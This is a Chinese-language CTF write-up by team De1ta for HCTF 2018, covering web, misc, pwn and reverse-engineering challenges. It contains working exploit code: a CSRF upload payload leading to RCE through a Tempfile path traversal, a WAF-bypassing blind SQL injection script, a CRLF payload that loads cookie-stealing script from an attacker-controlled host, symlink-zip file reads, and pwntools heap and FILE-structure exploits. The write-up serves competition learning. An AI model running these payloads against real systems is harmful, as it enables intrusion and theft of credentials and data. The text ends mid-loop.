Team: De1ta
首先感谢杭电的师傅们为我们带来了一场精彩的CTF比赛,出题和运维的大佬们都辛苦了!
顺便打个小广告:De1ta长期招 逆向/pwn/密码学/硬件/取证/杂项/etc. 选手,急招二进制和密码选手,有意向的大佬请联系ZGUxdGFAcHJvdG9ubWFpbC5jb20=
[TOC]
Web
warmup
参考:https://blog.vulnspy.com/2018/06/21/phpMyAdmin-4-8-x-Authorited-CLI-to-RCE/
在source.php可以看到源码
要使emmm::checkFile($_REQUEST['file'])返回true,利用?截取hint.php,利用/使hint.php?成为一个不存在的目录,最后include利用../../跳转目录读取flag。
payload: hint.php?/../../../../../../../../../../../ffffllllaaaagggg
payload还可以:index.php?file=source.php?/../../../../../../../../../../../ffffllllaaaagggg一个道理
hctf{e8a73a09cfdd1c9a11cca29b2bf9796f}
share
打开题目,主页翻译一下可以得到这些信息
是个让用户分享应用的网站,并且管理员可以把应用推给某个用户
/Alphatest可以看到一个filenumber 和自己的uid
/share 可以分享东西给管理员,猜测存在xss,context框传了个段xss代码,发现能接收到admin的请求,bot是PhantomJS/2.1.1,说明能执行js,但是开了httponly打不到cookie,猜测是要CSRF,url框传的东西好像没啥用
根据主页提示可能有源码泄漏,在robots.txt 看到了三个接口的代码
/* this terrible code */
class FileController < ApplicationController
before_action :authenticate_user!
before_action :authenticate_role
before_action :authenticate_admin
protect_from_forgery :except => [:upload , :share_people_test]
# post /file/upload
def upload
if(params[:file][:myfile] != nil && params[:file][:myfile] != "")
file = params[:file][:myfile]
name = Base64.decode64(file.original_filename)
ext = name.split('.')[-1]
if ext == name || ext ==nil
ext=""
end
share = Tempfile.new(name.split('.'+ext)[0],Rails.root.to_s+"/public/upload")
share.write(Base64.decode64(file.read))
share.close
File.rename(share.path,share.path+"."+ext)
tmp = Sharefile.new
tmp.public = 0
tmp.path = share.path
tmp.name = name
tmp.tempname= share.path.split('/')[-1]+"."+ext
tmp.context = params[:file][:context]
tmp.save
end
redirect_to root_path
end
# post /file/Alpha_test
def Alpha_test
if(params[:fid] != "" && params[:uid] != "" && params[:fid] != nil && params[:uid] != nil)
fid = params[:fid].to_i
uid = params[:uid].to_i
if(fid > 0 && uid > 0)
if(Sharelist.find_by(sharefile_id: fid)==nil)
if(Sharelist.count("user_id = ?", uid.to_s) <5)
share = Sharelist.new
share.sharefile_id = fid
share.user_id = uid
share.save
end
end
end
end
redirect_to(root_path)
end
def share_file_to_all
file = Sharefile.find(params[:fid])
File.rename(file.path,Rails.root+"/public/download/"+file.name)
file.public = true
file.path = Rails.root+"/public/download/"+file.name
file.save
end
end
分析一下这段代码,
before_action :authenticate_user!
before_action :authenticate_role
before_action :authenticate_admin
首先三个接口都是管理员才能调用
第一个接口/file/upload 能够上传文件
第二个接口/file/Alpha_test 能够分配一个文件给一个用户
第三个是把文件公开,但是没有提供外部调用路由
后面 hint1给了文件结构
views
|-- devise
| |-- confirmations
| |-- mailer
| |-- passwords
| |-- registrations
| | `-- new.html.erb
| |-- sessions
| | `-- new.html.erb
| |-- shared
| `-- unlocks
|-- file
|-- home
| |-- Alphatest.erb
| |-- addtest.erb
| |-- home.erb
| |-- index.html.erb
| |-- publiclist.erb
| |-- share.erb
| `-- upload.erb
|-- layouts
| |-- application.html.erb
| |-- mailer.html.erb
| `-- mailer.text.erb
`-- recommend
`-- show.erb
hint2给了一个主页的代码
<%= render template: "home/"+params[:page] %>
参考
http://blog.neargle.com/SecNewsBak/drops/Ruby%20on%20Rails%20%E5%8A%A8%E6%80%81%E6%B8%B2%E6%9F%93%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%20%28CVE.html
尝试跨目录包含文件失败,应该是只能包含home目录下的文件
hint3给了ruby版本2.5.0
通过查找ruby版本号,结合robots代码,主页代码和目录结构,可以确定要利用的是这个CVE:
CVE-2018-6914: Unintentional file and directory creation with directory traversal in tempfile and tmpdir
大概意思就是在Tempfile 创建文件时如果传入(../)就能创建任意目录或文件
想到可以传个文件到home下,结合主页的文件包含,即可RCE
整个思路就很清晰了:
- CSRF 让admin调用/file/upload 接口上传带有恶意文件名的文件
- Tmpfile漏洞使得文件生成在/views/home/目录下,但是新生成的文件名有部分是随机的
- CSRF 调用/file/Alpha_test 接口把文件分配到自己的id下,在/Alphatest拿到生成的文件名
- 主页文件包含,RCE
于是开始了艰难的构造payload
最后上传的payload如下:
<script type="text/javascript" charset="utf-8" src="http://code.jquery.com/jquery-1.11.1.min.js"></script>
<script>
function upload(i) {
var test=$('meta').eq(1).attr("content");
var url="/file/upload";
var data="-----------------------------13025814701038468772945051835\x0d\x0a\
Content-Disposition: form-data; name=\"file[myfile]\"; filename=\"Li4vLi4vYXBwL3ZpZXdzL2hvbWUvZGUxdGF4aXNoaXIuZXJic3MuZXJi\"\x0d\x0a\
Content-Type: application/text\x0d\x0a\
\x0d\x0a\
PCU9IGBjYXQgL2ZsYWdgICU+\x0d\x0a\
-----------------------------13025814701038468772945051835\x0d\x0a\
Content-Disposition: form-data; name=\"file[context]\"\x0d\x0a\
\x0d\x0a\
de1ta\x0d\x0a\
-----------------------------13025814701038468772945051835\x0d\x0a\
Content-Disposition: form-data; name=\"authenticity_token\"\x0d\x0a\
\x0d\x0a\
"+test+"\x0d\x0a\
-----------------------------13025814701038468772945051835\x0d\x0a\
Content-Disposition: form-data; name=\"commit\"\x0d\x0a\
\x0d\x0a\
submit\x0d\x0a\
-----------------------------13025814701038468772945051835\x0d\x0a\
Content-Disposition: form-data; name=\"utf8\"\x0d\x0a\
\x0d\x0a\
✓\x0d\x0a\
-----------------------------13025814701038468772945051835--";
$.ajax({
url: url,
type:"POST",
headers: {
"Content-Type": "multipart/form-data; boundary=---------------------------13025814701038468772945051835",
"Upgrade-Insecure-Requests":"1"
},
data:data,
contentType:false,
success:function(res){
},
error:function(err){
}
})
}
for(var i=1;i<2;i++)
{
upload(i);
}
</script>
文件内容为
<%= `cat /flag` %>
文件名为
../../app/views/home/de1taxishir.erbss.erb
推送文件到我的uid下的代码为:
<script type="text/javascript" charset="utf-8" src="http://code.jquery.com/jquery-1.11.1.min.js"></script>
<script>
function go(fffid){
var test=$('meta').eq(1).attr("content");
console.log(test);
var params = {utf8:"\xE2\x9C\x93",authenticity_token:test,uid:2,fid:fffid,commit:"submit"};
var url = '/file/Alpha_test';
$.ajax({
url : url,
type : "POST",
data : params,
success : function(result) {
},
error:function(result){
}
})
}
for(var i=1;i<20;i+=1){
go(i);
}
</script>
这里因为不知道文件id是多少,只能根据前面的filenumber来爆破一下,所以写了个for循环
最后上传上去并获取文件名后,在主页进行文件包含执行命令,读取flag
ps:这道题有个搅shi bug,利用推文件给用户接口,无限暴力推fid到自己的uid下,就能看到别人上传的文件,并且别人就不知道他的文件名是啥了
还有就是js构造一个文件上传太坑了,一开始用new File,一直失败,后面发现是PhantomJS不支持这个h5的类好像,于是硬生生写了个multipart/form-data 出来
flag:hctf{8f4c57063ddb7b106e03e25f7d1bb813}
kzone
打开发现是一个QQ钓鱼站,主页会跳转到空间
http://kzone.2018.hctf.io/www.zip 可以下载到源码
install.sql 文件中有admin密码,admn。
INSERT INTO fish_admin
(id
, username
, password
, name
, qq
, per
) VALUES
(1, 'admin', '21232f297a57a5a743894a0e4a801fc3', '小杰', '1503816935', 1);
不过登陆不上去,密码被改了
审计源码翻到了member.php,发现这边没有addslashes,并且无需登录也可访问
可以看到这段代码从cookie获取了登陆信息,如果符合几个if,就能登陆
想到通过注入 ,union select 替换掉admin_user和admin_pass
尝试构造弱类型绕过:
Cookie: PHPSESSID=s33h9c1u8bq5t0r8s4dura0c76; islogin=1; login_data={"admin_user":"admin'||'1","admin_pass":65}
(一开始没构造出来,然后就转思路去bypass waf了
参考这篇文章
http://blog.sina.com.cn/s/blog_1574497330102wruv.html
虽然他没绕过关键词检测,但是顺着他的思路尝试构造了
\u0075nion,本地测试发现json_decode后变为union,成功bypass waf
构造一个sleep的cookie,放到服务端测试也sleep了,证明此处注入可行
Cookie:PHPSESSID=t0k91etf5fecbi4t25d7hprtm3;islogin=1;login_data={"admin_user":"admin111'/**/\u0075nion/**/select/**/1,2,3,4,5,6/**/from/**/fish_admin/**/where/**/\u0073leep(3)\u003d'1","admin_pass":"3b30a11aaba222edd6e704e9959b94643ed4ffd9"}
后面就把所有关键词用这种方法绕过,就能直接注入了,最后flag在 F1444g表的F1a9字段
附上注入脚本
#!/usr/bin/python
#!coding:utf-8#
# xishir
import requests
import time
import datetime
#hctf{4526a8cbd741b3f790f95ad32c2514b9}
ss = "{}_0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-+"
r = requests.session()
url = "http://kzone.2018.hctf.io/admin/"
#url="http://127.0.0.1/hctf/www/admin/"
union = '\u00'+str(hex(ord('u')))[2:]+'nion'
sleep = '\u00'+str(hex(ord('s')))[2:]+'leep'
ascii = '\u00'+str(hex(ord('a')))[2:]+'scii'
ok = '\u00'+str(hex(ord('=')))[2:]
substr = '\u00'+str(hex(ord('s')))[2:]+'ubstr'
over = '\u00'+str(hex(ord('#')))[2:]
blank = "/**/"
orr = '\u00'+str(hex(ord('o')))[2:]+'r'
flag=""
for i in range(1,50):
print i
for j in ss:
payload = "admin' and (substr((select binary F1a9 from F1444g limit 1),"+str(i)+",1)='"+str(j)+"') and sleep(4) and 1='1"
payload = payload.replace('sleep',sleep)
payload = payload.replace('union',union)
payload = payload.replace('=',ok)
payload = payload.replace('#',over)
payload = payload.replace(' ',blank)
payload = payload.replace('ascii',ascii)
payload = payload.replace('substr',substr)
payload = payload.replace('or',orr)
jsons = '{"admin_user":"'+payload+'","admin_pass":"3b30a11aaba222edd6e704e9959b94643ed4ffd9"}'
cookie={"PHPSESSID":"t0k91etf5fecbi4t25d7hprtm3",
"islogin":"1",
"login_data":jsons}
t1=time.time()
r1 = r.get("http://kzone.2018.hctf.io",cookies=cookie)
t2=time.time()
#print t2
if (t2-t1)>4:
#print "aaaaaaaa"
flag+=str(j)
print i,flag
break
admin
找到源码 https://github.com/woadsl1234/hctf_flask/
有个进程每30秒重置一次数据库
看到strlower函数很奇怪
参考:http://blog.lnyas.xyz/?p=1411
最后解题步骤如下
注册一个ᴬdmin账号
登陆ᴬdmin,发现页面显示Admin
修改密码,退出登录
重新登陆Admin,看到flag
hide and seek
传个zip,会解压缩并且读取
尝试传个链接文件ln -s /etc/passwd test 并压缩上传
读到/etc/passwd
然后就是各种文件读取
在 /proc/self/environ读取到一个好东西
UWSGI_ORIGINAL_PROC_NAME=/usr/local/bin/uwsgiSUPERVISOR_GROUP_NAME=uwsgiHOSTNAME=323a960bcc1aSHLVL=0PYTHON_PIP_VERSION=18.1HOME=/rootGPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421DUWSGI_INI=/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.iniNGINX_MAX_UPLOAD=0UWSGI_PROCESSES=16STATIC_URL=/staticUWSGI_CHEAPER=2NGINX_VERSION=1.13.12-1~stretchPATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binNJS_VERSION=1.13.12.0.2.0-1~stretchLANG=C.UTF-8SUPERVISOR_ENABLED=1PYTHON_VERSION=3.6.6NGINX_WORKER_PROCESSES=autoSUPERVISOR_SERVER_URL=unix:///var/run/supervisor.sockSUPERVISOR_PROCESS_NAME=uwsgiLISTEN_PORT=80STATIC_INDEX=0PWD=/app/hard_t0_guess_n9f5a95b5ku9fgSTATIC_PATH=/app/staticPYTHONPATH=/appUWSGI_RELOADS=0
然后直接读/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini文件得到
[uwsgi] module = hard_t0_guess_n9f5a95b5ku9fg.hard_t0_guess_also_df45v48ytj9_main callable=app
按部就班读取项目文件 /app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py
得到
# -*- coding: utf-8 -*-
from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
import uuid
import base64
import random
import flag
from werkzeug.utils import secure_filename
import os
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['zip'])
def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
@app.route('/', methods=['GET'])
def index():
error = request.args.get('error', '')
if(error == '1'):
session.pop('username', None)
return render_template('index.html', forbidden=1)
if 'username' in session:
return render_template('index.html', user=session['username'], flag=flag.flag)
else:
return render_template('index.html')
@app.route('/login', methods=['POST'])
def login():
username=request.form['username']
password=request.form['password']
if request.method == 'POST' and username != '' and password != '':
if(username == 'admin'):
return redirect(url_for('index',error=1))
session['username'] = username
return redirect(url_for('index'))
@app.route('/logout', methods=['GET'])
def logout():
session.pop('username', None)
return redirect(url_for('index'))
@app.route('/upload', methods=['POST'])
def upload_file():
if 'the_file' not in request.files:
return redirect(url_for('index'))
file = request.files['the_file']
if file.filename == '':
return redirect(url_for('index'))
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
if(os.path.exists(file_save_path)):
return 'This file already exists'
file.save(file_save_path)
else:
return 'This file is not a zipfile'
try:
extract_path = file_save_path + '_'
os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)
read_obj = os.popen('cat ' + extract_path + '/*')
file = read_obj.read()
read_obj.close()
os.system('rm -rf ' + extract_path)
except Exception as e:
file = None
os.remove(file_save_path)
if(file != None):
if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
return redirect(url_for('index', error=1))
return Response(file)
if __name__ == '__main__':
#app.run(debug=True)
app.run(host='127.0.0.1', debug=True, port=10008)
因为有这段
if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
return redirect(url_for('index', error=1))
如果文件里有hctf就返回主页
所以不能直接读flag.py,也没有flag.pyc
后面读index.html发现admin用户登录就能看到flag
{% if user == 'admin' %}
Your flag: <br>
{{ flag }}
想到要读secret,伪造admin的session,发现代码里的secret是伪随机的
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
随机数种子固定为mac地址,读取 /sys/class/net/eth0/address 可以得到
然后带入seed,本地跑一下,登陆admin拿到cookie,再放到网站上就能看到flag了
Game
赛后解出:
http://game.2018.hctf.io/web2/user.php?order=password
这样可以按照密码进行排序
不断注册新用户,密码逐位逐位与admin的密码比较,最后得到admin的密码,比如注册个密码为d的用户
然后按密码排序,发现它在admin下面
然后注册一个密码为e的用户,发现他在admin上面
由此可以推算出admin密码第一位是d,按照此原理,逐位得到完整的admin密码为dsa8&&!@#$%^&d1ngy1as3dja,登录访问flag.php即可getflag。
bottle
直接参考p总链接即可:
https://www.leavesongs.com/PENETRATION/bottle-crlf-cve-2016-9964.html
首先发现CLRF
刚开始的时候,CSP是在响应包的上面的,需要想办法绕过CSP。
第二天CSP被设置到响应包下面了。
接下来就简单了,只需要绕过302跳转就可以打到cookie。因为302的时候不会xss。利用<80端口可以绕过302跳转。可以在浏览器手动试一下。
80端口的时候可以发现跳转到了题目的首页
小于80端口的时候可以发现返回了我们构造的响应包下面的内容,这个时候手动访问可以看到打到了cookie。
所以拿着下面这个payload就可以打到cookie了。
http://bottle.2018.hctf.io/path?path=http://bottle.2018.hctf.io:22/%0d%0aContent-Length:%2065%0d%0a%0d%0a%3Cscript%20src=http://yourvps/cookie.js%3E%3C/script%3E
改cookie登陆
Misc
easy dump
用volatility看了一下,发现有mspaint进程,把内存dump下来
把mspaint.exe dump下来的内存改名为.data后缀,用gimp打开,调整位移 宽度 高度
flag:hctf{big_brother_is_watching_you}
freq game
FFT different frequency sin
MATLAB: y = importdata(""); 加载样本点
Y = fft(y);
plot(abs(Y));
根据图片查看频率值,对称的四个正弦函数的频率,最高点对应的横坐标减1就是频率
交互8次,即可得到flag
difficult programming language
解压后发现一个pcap包,Wireshark打开发现是USB流量包,简单浏览后发现每帧都有8字节,且仅第一字节和第三字节有数据,猜测是键盘的流量,于是本地自己抓键盘的包试了下:
第一个字节
0x01 ctrl
0x02 shift
第三个字节是按键的键值就不列出了,后面找了下相关资料验证了这个猜想,于是tshark先把每帧的Leftover Capture Data提取出来,然后写个脚本把键值转成字符串,得到一个混杂字母和符号的字符串,根据题目所给“difficult programming language”猜测可能是malbolge语言,找个解释器把解出的字符串丢进去跑一下就得到flag。
代码:
usb_data = open('usbdata.txt')
str_decode = ''
for i in range(422):
buffer = usb_data.readline()
cmd = int(buffer[6] + buffer[7], 16)
if cmd != 0:
if buffer[1] == '0':
if 4 <= cmd <= 29:
str_decode += chr(ord('a') + cmd - 4)
elif 30 <= cmd <= 38:
str_decode += chr(ord('1') + cmd - 30)
elif cmd == 39:
str_decode += '0'
elif cmd == 45:
str_decode += '-'
elif cmd == 46:
str_decode += '='
elif cmd == 47:
str_decode += '['
elif cmd == 48:
str_decode += ']'
elif cmd == 49:
str_decode += '\\'
elif cmd == 51:
str_decode += ';'
elif cmd == 52:
str_decode += "'"
elif cmd == 53:
str_decode += '`'
elif cmd == 54:
str_decode += ','
elif cmd == 55:
str_decode += '.'
elif cmd == 56:
str_decode += '/'
else:
print('!!!')
elif buffer[1] == '2':
if 4 <= cmd <= 29:
str_decode += chr(ord('A') + cmd - 4)
# elif 30 <= cmd <= 38:
# str_decode += '!!!'
elif cmd == 30:
str_decode += '!'
elif cmd == 31:
str_decode += '@'
elif cmd == 32:
str_decode += '#'
elif cmd == 33:
str_decode += '$'
elif cmd == 34:
str_decode += '%'
elif cmd == 35:
str_decode += '^'
elif cmd == 36:
str_decode += '&'
elif cmd == 37:
str_decode += '*'
elif cmd == 38:
str_decode += '('
elif cmd == 39:
str_decode += ')'
elif cmd == 45:
str_decode += '_'
elif cmd == 46:
str_decode += '+'
elif cmd == 47:
str_decode += '{'
elif cmd == 48:
str_decode += '}'
elif cmd == 49:
str_decode += '|'
elif cmd == 51:
str_decode += ':'
elif cmd == 52:
str_decode += '"'
elif cmd == 53:
str_decode += '~'
elif cmd == 54:
str_decode += '<'
elif cmd == 55:
str_decode += '>'
elif cmd == 56:
str_decode += '?'
else:
print('!!!')
else:
print('!!!')
print(buffer)
print(str_decode)
flag:hctf{m4lb0lGe}
Pwn
the_end
有点像0ctf2017-left:
exit会调用dl_fini,里面有一个call,可以去修改ld.so 附近的一个地方,直接填one_gadget get shell
from pwn import *
debug=0
context.log_level='debug'
e=ELF('./libc-2.23.so')
if debug:
p=process('./the_end')
#p=process('',env={'LD_PRELOAD':'./libc.so'})
gdb.attach(p)
else:
p=remote('150.109.44.250', 20002)
def ru(x):
return p.recvuntil(x)
def se(x):
p.send(x)
if not debug:
ru('Input your token:')
se('uvm73jg2AFMECo71DIZRZh39MRqFOI2w\n')
ru('here is a gift ')
base=int(ru(',')[:-1],16)-e.symbols['sleep']
call=base+0x5F0F48
one_gadget=p64(base+0xf02a4)
for i in range(5):
se(p64(call+i))
se(one_gadget[i])
print(hex(base))
p.sendline('cat flag>&0')
p.interactive()
flag:hctf{706a09271a59b9e2db1a2d0cf1e40e2073c0a886197f6f3cf3b5d2114fc600d7}
easyexp
clone 了一个子线程,mount 了tmpfs到/tmp那里,再chdir到mount的这个tmp那里,然后sleep 1000000秒之后 结束
设子线程pid=cpid
主线程chdir到 /proc/cpid/cwd/ ,然后在里面创建文件夹和假flag
ls没有限制 / 和 .. 所以可以看所有目录的情况
根据hint提示,要用libc-2.23_9 ,我虚拟机的是libc-2.23_10,然后去找了下change log
-
- SECURITY UPDATE: Buffer underflow in realpath()
-
- debian/patches/any/cvs-make-getcwd-fail-if-path-is-no-absolute.diff:
- Make getcwd(3) fail if it cannot obtain an absolute path
-
- CVE-2018-1000001
发现realpath有一个overflow
所以大概关键就在canonicalize_file_name这个函数这里
就是CVE–2018-1000001
(之前就想拿这个CVE来出题........可惜怕被当成kernel题就没敢出
(没复现CVE,现在要去看一遍源码.......
一开始输入名字的时候输入(unreachable),然后在里面创建一个tmp文件,这样就可以绕过realpath 里面的一个检查
利用的话是改chunk size,unsafe unlink,再拿到任意读写,get shell(话说好久没碰到要用unsafe unlink的题,都生疏了..........
payload 如下
from pwn import *
debug=0
context.log_level='debug'
e=ELF('./libc-2.23_9.so')
if debug:
#p=process('./easyexp')
p=process('./easyexp',env={'LD_PRELOAD':'./libc-2.23_9.so'})
gdb.attach(p)
else:
p=remote('150.109.46.159', 20004)
def ru(x):
return p.recvuntil(x)
def se(x):
p.send(x)
def sl(x):
p.sendline(x)
def mkfile(name,content):
sl('mkfile '+name)
ru('write something:')
sl(content)
ru('$')
def cat(name):
sl('cat '+name)
return ru('$')
if not debug:
ru('Input your token:')
sl('uvm73jg2AFMECo71DIZRZh39MRqFOI2w')
ru("input your home's name: ")
se('(unreachable)\n')
ru('$')
mkfile('(unreachable)/tmp','a'*0x16+'/')
mkfile('2','a'*0x27)
mkfile('3','a'*0x37)
mkfile('3',p64(0x21)*4)
sl('mkdir ../../../../a\x41')
cat('(unreachable)/tmp')
mkfile('4','a'*0x37)
mkfile('4',p64(0)+p64(0x21)+p64(0x6031e0-0x18+1)+p64(0x6031e0-0x10)+p64(0x20)+p64(0x41))
mkfile('5','1'*0x27)
cat('4')
mkfile('6','a'*0x37)
mkfile('6',p64(0x21)*6)
mkfile('7','a'*0x37)
mkfile('7',p64(0x21)*6)
cat('6')
mkfile('77','a'*0x27)
mkfile('77',p64(0x21)*4)
mkfile('4',p64(0)+p64(0x21)+p64(0x6031e0-0x18)+p64(0x6031e0-0x10)+p64(0x20)+p64(0x90))
mkfile('8','/bin/sh')
mkfile('4','a'*0x18+p64(0x603180)+p32(0x200)[:2])
mkfile('4',p64(0x603018)+p32(0x200)[:2])
data=cat('77')
base=u64(data[1:7]+'\x00\x00')-e.symbols['free']
system = base+e.symbols['system']
mkfile('77',p64(system)[:6])
cat('4')
sl('mkfile 99')
print(hex(base))
p.interactive()
flag:hctf{53e3b00dc29b152d1740f042ae4efce199785f7acaa062c21d600e67f811d276}
baby printf ver2
首先利用任意读把libc地址泄漏出来,
然后任意写,写__malloc_hook
再输入%n,报错,报错的时候会调用malloc,get shell
from pwn import *
debug=0
context.log_level='debug'
e=ELF('./libc64.so')
if debug:
#p=process('./babyprintf_ver2')
p=process('./babyprintf_ver2',env={'LD_PRELOAD':'./libc64.so'})
gdb.attach(p)
else:
p=remote('150.109.44.250', 20005)
def ru(x):
return p.recvuntil(x)
def se(x):
p.send(x)
if not debug:
ru('Input your token:')
se('uvm73jg2AFMECo71DIZRZh39MRqFOI2w\n')
ru('So I change the buffer location to ')
buffer=int(ru('\n'),16)
pbase=buffer-0x202010
ru('Have fun!')
file = p64(0xfbad2887) + p64(pbase+0x201FB0)
file+= p64(buffer+0xf0) +p64(buffer+0xf0)
file+= p64(buffer+0xf0) +p64(buffer+0xf8)
file+= p64(buffer+0xf0) +p64(pbase+0x201FB0)
file+= p64(pbase+0x201FB0+8) +p64(0)
file+= p64(0) +p64(0)
file+= p64(0) +p64(0)
file+= p64(1) +p64(0xffffffffffffffff)
file+= p64(0) +p64(buffer+0x200)
file+= p64(0xffffffffffffffff) +p64(0)
file+= p64(buffer+0x210) +p64(0)
file+= p64(0) +p64(0)
file+= p64(0x00000000ffffffff)+p64(0)
file+= p64(0) +p64(0)
se(p64(0xdeadbeef)*2+p64(buffer+0x18)+file+'\n')
ru('permitted!\n')
libc=u64(ru('\x00\x00'))
base=libc-0x3E82A0
malloc_hook=base+e.symbols['__malloc_hook']
sleep(0.2)
file = p64(0xfbad2887) + p64(malloc_hook)
file+= p64(malloc_hook) +p64(malloc_hook)
file+= p64(malloc_hook) +p64(malloc_hook)
file+= p64(malloc_hook+8) +p64(pbase+0x201FB0)
file+= p64(pbase+0x201FB0) +p64(0)
file+= p64(0) +p64(0)
file+= p64(0) +p64(0)
file+= p64(1) +p64(0xffffffffffffffff)
file+= p64(0) +p64(buffer+0x220)
file+= p64(0xffffffffffffffff) +p64(0)
file+= p64(buffer+0x230) +p64(0)
file+= p64(0) +p64(0)
file+= p64(0x00000000ffffffff)+p64(0)
file+= p64(0) +p64(0)
se(p64(base+0x4f322)*2+p64(buffer+0x18)+file+'\n')
sleep(0.5)
se('%n\n')
print(hex(pbase))
print(hex(libc))
p.interactive()
christmas
写shellcode,有seccomp
seccomp 限制了只能执行exit和exit_group 这两个syscall
还限制了只能字母和数字,这个限制可以用alpha3突破(华师非灰也师傅帮忙修好了,能在linux下面跑
程序没开pie,因此能在程序那里拿到libc的地址,然后找libc base
base找到了之后,倒着去搜libflag.so里面bss段的_DYNAMIC
在里面可以找到DT_STRTAB和DT_SYMTAB,然后搜flag_yes_1337,根据偏移再找到
Elf64_Sym 结构体,最后找到flag_yes_1337函数的地址,call一下拿到flag,然后再盲注出来
from pwn import *
import os
import pwnlib.shellcraft.amd64 as sc
import time
context.arch='amd64'
payload=asm(sc.mov('rdi',0x602030))+\
asm("mov rdi,[rdi]") +\
asm(sc.mov('rdx',0x6f690)) +\
asm('sub rdi,rdx')+ \
asm(sc.mov('rbx','rdi')) +\
asm(sc.push(0x6FFFFEF5))+\
asm('''
search:
push 4
pop rcx
mov rdi,rbx
mov rsi,rsp
cld
repe cmpsb
jz done
sub rbx,1
jnz search
done:
''')+\
asm('add rdi,0x14')+\
asm('mov r10,[rdi]')+\
asm('add rdi,0x10')+\
asm('mov r11,[rdi]')+\
asm('sub rdi,0x40')+\
asm('mov rcx,[rdi]')+\
asm('sub rbx,rcx')+\
asm(sc.mov('rcx',0x80))+\
asm('sub rbx,rcx')+\
asm('mov r12,rbx')+\
asm(sc.pushstr('flag_yes_'))+\
asm('mov rbx,r10')+\
asm('''
search:
push 8
pop rcx
mov rdi,rbx
mov rsi,rsp
cld
repe cmpsb
jz done
add rbx,1
jnz search
done:
''')+\
asm('sub rdi,0x8')+\
asm('sub rdi,r10')+\
asm('push rdi')+\
asm('mov rbx,r11')+\
asm('''
search:
push 3
pop rcx
mov rdi,rbx
mov rsi,rsp
cld
repe cmpsb
jz done
add rbx,1
jnz search
done:
''')+\
asm('add rdi,5')+\
asm('mov rdi,[rdi]')+\
asm('add rdi,r12')+\
asm('call rdi')
def generate(idx,c):
tmp=payload+\
asm('''
add al,%d
xor rbx,rbx
xor rcx,rcx
mov bl,[rax]
add cl,%d
cmp rbx,rcx
jz done
xor rax,rax
add al,60
syscall
done:
'''%(idx,c))+asm(sc.infloop())
print(idx,c)
f=open('alapayload','wb')
f.write(tmp)
f.close()
def brute(idx,c):
debug=0
#context.log_level='debug'
context.arch='amd64'
if debug:
p=process('./christmas')
#p=process('',env={'LD_PRELOAD':'./libc.so'})
#gdb.attach(p)
else:
p=remote('150.109.46.159', 20003)
def ru(x):
return p.recvuntil(x)
def se(x):
p.send(x)
if not debug:
ru('Input your token:')
se('uvm73jg2AFMECo71DIZRZh39MRqFOI2w\n')
payload='42'
generate(idx,c)
a=os.popen('python ./alpha3/ALPHA3.py x64 ascii mixedcase RAX --input="alapayload"')
payload+=a.read()
a.close()
se(payload)
ru('can you tell me how to find it??')
start=time.time()
p.can_recv_raw(timeout=3)
p.close()
end=time.time()
if end-start>2:
return True
return False
str='{}_abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+!@#$%^&*()'
#brute(4,ord('{'))
flag='{dyn_15_4w'
for q in range(14,100):
for i in range(len(str)):
if brute(q,ord(str[i])):
raw_input(str[i])
flag+=str[i]
print(flag)
break
flag:HCTF{dyn_15_4w350m3}
RE
Lucky star
找main函数,发现是smc过的,找找其他地方
0040155D和004015CA 调用了了一个反调试函数,把参数0x11改成0
00403148有一段进程名的字符串,全改成0
0040251b调用了另一个反调试函数,把下方的00402521的jz改成jmp
全部改完打个补丁,程序就能正常运行了。
在调用main函数的地方00401C20设下断点,开始调试,断下的时候main函数就解析好了
先播放了一段音频,中间还有sleep,大概一分钟,不相等可以直接把那一段的cmp jz改成cmp jmp
004015E0是加密函数
加密算法如下:
先把输入进行base64加密 a2位base64加密完的
它的base64大小写是反的
v14=0
v19 = strlen(a2);
if ( v19 > 0 )
{
do
{
v16 = 6;
do
{
v17 = rand() % 4;
v18 = v16;
v16 -= 2;
result = (_BYTE)v17 << v18;
a2[v14] ^= result;
}
while ( v16 > -2 );
++v14;
}
while ( v14 < v19 );
}
可以看到,他对每一个字符异或了四个随机数(先对随机数进行了一些操作),在异或的地方设下条件记录断点,记录下异或的数据,然后反向解密就行了。
解密:
secret=[0x49,0xE6,0x57,0xBD,0x3A,0x47,0x11,0x4C,0x95,0xBC,0xEE,0x32,0x72,0xA0,0xF0,0xDE,0xAC,0xF2,0x83,0x56,0x83,0x49,0x6E,0xA9,0xA6,0xC5,0x67,0x3C,0xCA,0xC8,0xCC,0x05]
xor=[0,0,8,0,128,0,0,1,0,48,8,1,128,0,12,1,64,0,0,0,0,0,8,1,64,0,0,2,0,16,4,0,192,16,0,0,192,48,0,2,128,16,8,0,64,32,4,2,0,48,0,3,192,16,4,2,192,0,8,1,128,48,0,2,192,0,0,1,128,16,4,1,128,48,4,2,0,16,12,2,192,0,4,3,0,32,12,1,0,16,12,0,192,32,12,3,192,16,0,2,128,48,0,2,64,16,12,3,64,32,4,2,128,0,12,0,128,48,8,1,192,48,0,1,0,48,8,0,0,16,4,0,0,0,8,0,128,0,12,3,192,0,12,2,192,32,8,1,64,48,12,3,0,0,12,1,0,0,4,1]
a=''
for i in range(len(secret)):
